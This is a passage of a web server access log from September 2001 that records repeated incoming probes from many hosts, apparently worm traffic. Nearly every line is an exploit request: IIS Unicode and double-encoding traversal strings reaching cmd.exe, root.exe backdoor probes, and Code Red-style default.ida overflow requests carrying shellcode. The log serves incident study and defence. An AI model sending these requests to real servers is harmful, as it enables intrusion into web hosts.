  4152. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4153. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4154. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4155. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4156. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4157. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4158. 20010918 14:27:26: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4159. 20010918 14:27:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4160. 20010918 14:29:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4161. 20010918 14:29:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4162. 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4163. 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4164. 20010918 14:29:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4165. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4166. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4167. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4168. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4169. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4170. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4171. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4172. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4173. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4174. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4175. 20010918 14:29:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4176. 20010918 14:29:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4177. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4178. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4179. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4180. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4181. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4182. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4183. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4184. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4185. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4186. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4187. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4188. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4189. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4190. 20010918 14:30:26: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4191. 20010918 14:30:27: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4192. 20010918 14:30:27: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4193. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4194. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4195. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4196. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4197. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4198. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4199. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4200. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4201. 20010918 14:33:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4202. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4203. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4204. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4205. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4206. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4207. 20010918 14:34:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4208. 20010918 14:34:00: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4209. 20010918 14:37:09: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4210. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4211. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4212. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4213. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4214. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4215. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4216. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4217. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4218. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4219. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4220. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4221. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4222. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4223. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4224. 20010918 14:37:50: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4225. 20010918 14:37:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  4226. 20010918 14:39:47: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4227. 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4228. 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4229. 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4230. 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4231. 20010918 14:42:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4232. 20010918 14:42:17: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4233. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4234. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4235. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4236. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4237. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4238. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4239. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4240. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4241. 20010918 14:42:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4242. 20010918 14:42:18: starrlab.tamu.edu [128.194.203.195] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4243. 20010918 14:47:11: starrlab.tamu.edu [128.194.203.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4244. 20010918 14:47:11: starrlab.tamu.edu [128.194.203.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4245. 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4246. 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4247. 20010918 14:47:12: starrlab.tamu.edu [128.194.203.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4248. 20010918 14:47:15: starrlab.tamu.edu [128.194.203.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4249. 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4250. 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4251. 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4252. 20010918 14:47:16: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4253. 20010918 14:47:19: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4254. 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4255. 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4256. 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4257. 20010918 14:47:20: starrlab.tamu.edu [128.194.203.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4258. 20010918 14:47:20:  [193.115.176.112] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4259. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4260. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4261. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4262. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4263. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4264. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4265. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4266. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4267. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4268. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4269. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4270. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4271. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4272. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4273. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4274. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4275. 20010918 14:47:45: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4276. 20010918 14:51:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4277. 20010918 14:51:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4278. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4279. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4280. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4281. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4282. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4283. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4284. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4285. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4286. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4287. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4288. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4289. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4290. 20010918 14:51:11: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4291. 20010918 14:51:11: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4292. 20010918 14:51:15: intradoc.law.utoronto.ca [128.100.167.60] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4293. 20010918 14:51:15: intradoc.law.utoronto.ca [128.100.167.60] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4294. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4295. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4296. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4297. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4298. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4299. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4300. 20010918 14:51:16: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4301. 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4302. 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4303. 20010918 14:51:17: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4304. 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4305. 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4306. 20010918 14:51:18: intradoc.law.utoronto.ca [128.100.167.60] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4307. 20010918 14:51:18: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4308. 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4309. 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4310. 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4311. 20010918 14:52:40: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4312. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4313. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4314. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4315. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4316. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4317. 20010918 14:52:41: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
